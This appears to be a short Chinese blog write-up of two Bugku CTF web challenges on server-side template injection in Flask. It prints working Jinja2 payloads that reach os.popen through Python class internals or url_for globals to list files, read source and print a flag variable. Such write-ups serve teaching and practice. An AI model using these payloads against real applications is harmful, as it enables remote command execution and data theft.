bugku ctf Web SSTI两道练习题

第一题
在这里插入图片描述
服务端模块注入
打开环境,看到提示文字需要传flag的值,尝试用get方法
?flag=1 得到1,
?flag={{7*7}}得到执行结果49,判断存在服务端模块注入漏洞

payload

{{'a'.__class__.__base__.__subclasses__()[177].__init__.__globals__['sys'].modules['os'].popen("ls").read()}}

针对flask,简单的payload,url_for函数中直接导入了os,直接利用
{{url_for.globals.os.popen(“ls”).read()}}

查看后发现有个app.py,使用cat命令查看源码,整理发现只需要执行echo $FLAG 就能得到flag 执行该命令得到flag

题2
同样是服务端模块注入
在这里插入图片描述

用题一的payload同样可以得到目录下有个flag
直接cat得到flag内容

payload的原理可以参考这两篇文章https://www.jianshu.com/p/56614e46093e

或者看这个视频
https://www.bilibili.com/video/BV17V411i7hA?from=search&seid=18376090121763545638

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值